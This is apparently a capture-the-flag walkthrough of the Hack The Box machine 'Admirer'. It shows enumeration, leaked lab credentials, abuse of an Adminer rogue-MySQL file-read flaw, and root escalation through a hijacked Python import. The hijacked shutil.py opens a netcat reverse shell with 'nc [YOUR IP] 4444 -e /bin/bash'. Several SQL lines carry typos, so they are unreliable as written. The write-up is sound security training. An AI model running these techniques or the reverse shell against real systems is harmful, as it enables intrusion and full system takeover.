Reconnaissance & Enumeration
Let’s first start by looking at what ports are open on the machine:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ nmap -sS -sC -sV -p- 10.10.10.187
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-03 19:28 CEST
Nmap scan report for 10.10.10.187
Host is up (0.023s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.88 seconds
From this, we see there are 3 ports open: 21
, 22
and 80
. On port 80
there is an interesting piece of information.
1
2
3
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
Web
We now know that there is a robot.txt
and a folder called /admin-dir
. Let’s look at the content of robot.txt
:
1
2
3
4
User-agent: *
# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir
This confirmed my initial suspicion that there is some interesting stuff in the folder /admin-dir
. Let’s use gobuster
to see if there is anything interesting there:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gobuster dir -u http://10.10.10.187/admin-dir -w /usr/share/wordlists/dirb/big.txt -x txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.187/admin-dir
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt
[+] Timeout: 10s
===============================================================
2020/08/03 19:36:14 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)
===============================================================
2020/08/03 19:38:04 Finished
===============================================================
From this we get 2 interesting files: contacts.txt
and credentials.txt
contact.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb
##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb
# Amy
Email: a.bialik@admirer.htb
# Leonard
Email: l.galecki@admirer.htb
#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb
# Bernadette
Email: b.rauch@admirer.htb
credentials.txt
1
2
3
4
5
6
7
8
9
10
11
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
FTP
Let’s try to connect to ftp with the login and password that we are given in credentials.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:fukurou): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz
226 Directory send OK.
Let’s download and inspect both files we found.
Files Content
The content of the dump wasn’t really usefulbut the backup of the website was more interesting. The interesting stuff seems to be the index.php
file and the utility-scripts
folder.
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
<!DOCTYPE HTML>
<!--
Multiverse by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
-->
<html>
<head>
<title>Admirer</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
<link rel="stylesheet" href="assets/css/main.css" />
<noscript><link rel="stylesheet" href="assets/css/noscript.css" /></noscript>
</head>
<body class="is-preload">
<!-- Wrapper -->
<div id="wrapper">
<!-- Header -->
<header id="header">
<h1><a href="index.html"><strong>Admirer</strong> of skills and visuals</a></h1>
<nav>
<ul>
<li><a href="#footer" class="icon solid fa-info-circle">About</a></li>
</ul>
</nav>
</header>
<!-- Main -->
<div id="main">
<?php
$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "SELECT * FROM items";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
// output data of each row
while($row = $result->fetch_assoc()) {
echo "<article class='thumb'>";
echo "<a href='".$row["image_path"]."' class='image'><img src='".$row["thumb_path"]."' alt='' /></a>";
echo "<h2>".$row["title"]."</h2>";
echo "<p>".$row["text"]."</p>";
echo "</article>";
}
} else {
echo "0 results";
}
$conn->close();
?>
</div>
<!-- Footer -->
<footer id="footer" class="panel">
<div class="inner split">
<div>
<section>
<h2>Allow yourself to be amazed</h2>
<p>Skills are not to be envied, but to feel inspired by.<br>
Visual arts and music are there to take care of your soul.<br><br>
Let your senses soak up these wonders...<br><br><br><br>
</p>
</section>
<section>
<h2>Follow me on ...</h2>
<ul class="icons">
<li><a href="#" class="icon brands fa-twitter"><span class="label">Twitter</span></a></li>
<li><a href="#" class="icon brands fa-facebook-f"><span class="label">Facebook</span></a></li>
<li><a href="#" class="icon brands fa-instagram"><span class="label">Instagram</span></a></li>
<li><a href="#" class="icon brands fa-github"><span class="label">GitHub</span></a></li>
<li><a href="#" class="icon brands fa-dribbble"><span class="label">Dribbble</span></a></li>
<li><a href="#" class="icon brands fa-linkedin-in"><span class="label">LinkedIn</span></a></li>
</ul>
</section>
</div>
<div>
<section>
<h2>Get in touch</h2>
<form method="post" action="#"><!-- Still under development... This does not send anything yet, but it looks nice! -->
<div class="fields">
<div class="field half">
<input type="text" name="name" id="name" placeholder="Name" />
</div>
<div class="field half">
<input type="text" name="email" id="email" placeholder="Email" />
</div>
<div class="field">
<textarea name="message" id="message" rows="4" placeholder="Message"></textarea>
</div>
</div>
<ul class="actions">
<li><input type="submit" value="Send" class="primary" /></li>
<li><input type="reset" value="Reset" /></li>
</ul>
</form>
</section>
</div>
</div>
</footer>
</div>
<!-- Scripts -->
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/jquery.poptrox.min.js"></script>
<script src="assets/js/browser.min.js"></script>
<script src="assets/js/breakpoints.min.js"></script>
<script src="assets/js/util.js"></script>
<script src="assets/js/main.js"></script>
</body>
</html>
admin_tasks.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<html>
<head>
<title>Administrative Tasks</title>
</head>
<body>
<h3>Admin Tasks Web Interface (v0.01 beta)</h3>
<?php
// Web Interface to the admin_tasks script
//
if(isset($_REQUEST['task']))
{
$task = $_REQUEST['task'];
if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
$task == '5' || $task == '6' || $task == '7')
{
/***********************************************************************************
Available options:
1) View system uptime
2) View logged in users
3) View crontab (current user only)
4) Backup passwd file (not working)
5) Backup shadow file (not working)
6) Backup web data (not working)
7) Backup database (not working)
NOTE: Options 4-7 are currently NOT working because they need root privileges.
I'm leaving them in the valid tasks in case I figure out a way
to securely run code as root from a PHP page.
************************************************************************************/
echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
}
else
{
echo("Invalid task.");
}
}
?>
<p>
<h4>Select task:</p>
<form method="POST">
<select name="task">
<option value=1>View system uptime</option>
<option value=2>View logged in users</option>
<option value=3>View crontab</option>
<option value=4 disabled>Backup passwd file</option>
<option value=5 disabled>Backup shadow file</option>
<option value=6 disabled>Backup web data</option>
<option value=7 disabled>Backup database</option>
</select>
<input type="submit">
</form>
</body>
</html>
db_admin.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";
// Create connection
$conn = new mysqli($servername, $username, $password);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully";
// TODO: Finish implementing this or find a better open source alternative
?>
The Database
Here is where I first hit a dead end. I tried to connect to the db_admin.php
but it didn’t exist. Then I started looking at index.php
and saw that the database name was admirerdb
. Out of desperation I google admirer db
and got a hit on adminer
. At the end of the db_admin.php
file you can read this line:
// TODO: Finish implementing this or find a better open source alternative
So my guess was that he is using Adminer
instead (Also a friend pointed out the puns that they love to make @ HTB) and I tried the following address since it works more or less the same as PhpmyAdmin.
http://10.10.10.187/utility-scripts/adminer.php
Let’s try the user
, password
and db_name
from index.php
but no luck the password is wrong.
Time to exploit
Exploitation
One of the first things we can see is the double versions on the top. First reflex: “google for a vulnerability”. The first hit was the best with a small video to exploit the exploit: https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool
So let’s setup our databse for this.
Setup
Let’s first create a database (I called it exploit) and only have one table so we can dump everything we need.
CREATE DATABASE exploit
USE exploit;
CREATE TABLE dmp(content varchar(500));
Now let’s create a user to connect to this database and give him some priviledges
CREATE USER 'demo'@'%' IDENTIFIED BY 'demopassword';
GRANT ALL PRIVILEDGES ON * . * TO 'demo'@'%';
FLUSH PRIVILEDGES;
Finally let’s make sure we can connect from the website and modify the following line of /etc/mysql/mariadb.conf.d/50_server.cnf
1
bind-address = 0.0.0.0
Restart mysql
1
systemctl restart mysql
Now time to host
1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql -h localhost -u demo -p exploit
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 67
Server version: 10.3.23-MariaDB-1 Debian buildd-unstable
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [exploit]>
Connect to through the portal using your IP ADDRESS
from tun0
, the user demo
and his password and connect to the exploit
database and tada
Actually using the exploit
Now that we are connected we can have some fun. Let’s first try to load data in our table
load data local infile "/etc/passwd"
info table dmp
field terminated by "/n"
But in this case we get an error saying we can’t open the file (kind of obvious but never hurts to try)
If you remember the index.php
, the password for the database was clear on that file. Let’s load this file in our table:
load data local infile "../index.php"
info table dmp
field terminated by "/n"
And we get something now: THE PASSWORD for waldo
: &<h5b~yK3F#{PaPB&dA}{H>
Get User Flag
If you remember from our first part, there was ssh running so let’s try and connect with the user
:password
we just got:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ssh waldo@10.10.10.187
waldo@10.10.10.187's password:
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$ ls
user.txt
waldo@admirer:~$ cat user.txt
27e.......................44
GET A USER FLAG
Priviledge Escalation
Let’s do a quick check of what we can do as admin if anything:
1
2
3
4
5
6
7
8
9
10
11
12
13
waldo@admirer:~$ sudo -l
[sudo] password for waldo:
Sorry, try again.
[sudo] password for waldo:
Sorry, try again.
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
So we can execute admin_tasks.sh
let’s check what there is there:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
waldo@admirer:/opt/scripts$ cat admin_tasks.sh
#!/bin/bash
view_uptime()
{
/usr/bin/uptime -p
}
view_users()
{
/usr/bin/w
}
view_crontab()
{
/usr/bin/crontab -l
}
backup_passwd()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
/bin/cp /etc/passwd /var/backups/passwd.bak
/bin/chown root:root /var/backups/passwd.bak
/bin/chmod 600 /var/backups/passwd.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_shadow()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
/bin/cp /etc/shadow /var/backups/shadow.bak
/bin/chown root:shadow /var/backups/shadow.bak
/bin/chmod 600 /var/backups/shadow.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_db()
{
if [ "$EUID" -eq 0 ]
then
echo "Running mysqldump in the background, it may take a while..."
#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
option=$1
case $option in
1) view_uptime ;;
2) view_users ;;
3) view_crontab ;;
4) backup_passwd ;;
5) backup_shadow ;;
6) backup_web ;;
7) backup_db ;;
*) echo "Unknown option." >&2
esac
exit 0
fi
# Interactive way, to be called from the command line
options=("View system uptime"
"View logged in users"
"View crontab"
"Backup passwd file"
"Backup shadow file"
"Backup web data"
"Backup DB"
"Quit")
echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
case $REPLY in
1) view_uptime ; break ;;
2) view_users ; break ;;
3) view_crontab ; break ;;
4) backup_passwd ; break ;;
5) backup_shadow ; break ;;
6) backup_web ; break ;;
7) backup_db ; break ;;
8) echo "Bye!" ; break ;;
*) echo "Unknown option." >&2
esac
done
exit 0
Here there is a python script backup.py
conviniently in the same folder:
1
2
3
4
5
6
7
8
9
10
11
12
13
waldo@admirer:/opt/scripts$ cat backup.py
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
Finally something we can user. Let’s create our own shutil
and thus changing the python import. Now we can make it execute anything but just to be fun let’s get a root shell. I went to /tmp
and created a folder called exploit
and nanoed a shutil.py
file with the following in it:
import os
def make_archive(a, b, c):
os.system('nc [YOUR IP] 4444 -e "/bin/bash"')
Since we know that the original function takes 3 arguments we also need these even if we aren’t using them at all.
Let’s execute the admin_tasks.sh
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
waldo@admirer:/tmp/exploit$ sudo PYTHONPATH=/tmp/exploit /opt/scripts/admin_tasks.sh
[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
Don’t forget to run netcat on another terminal:
1
2
3
4
5
6
7
8
9
10
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.34] from (UNKNOWN) [10.10.10.187] 42688
python -c "import pty; pty.spawn('/bin/bash')"
root@admirer:/tmp/exploit# cd
cd
root@admirer:~# ls
ls
root.txt
root@admirer:~#
GET A ROOT FLAG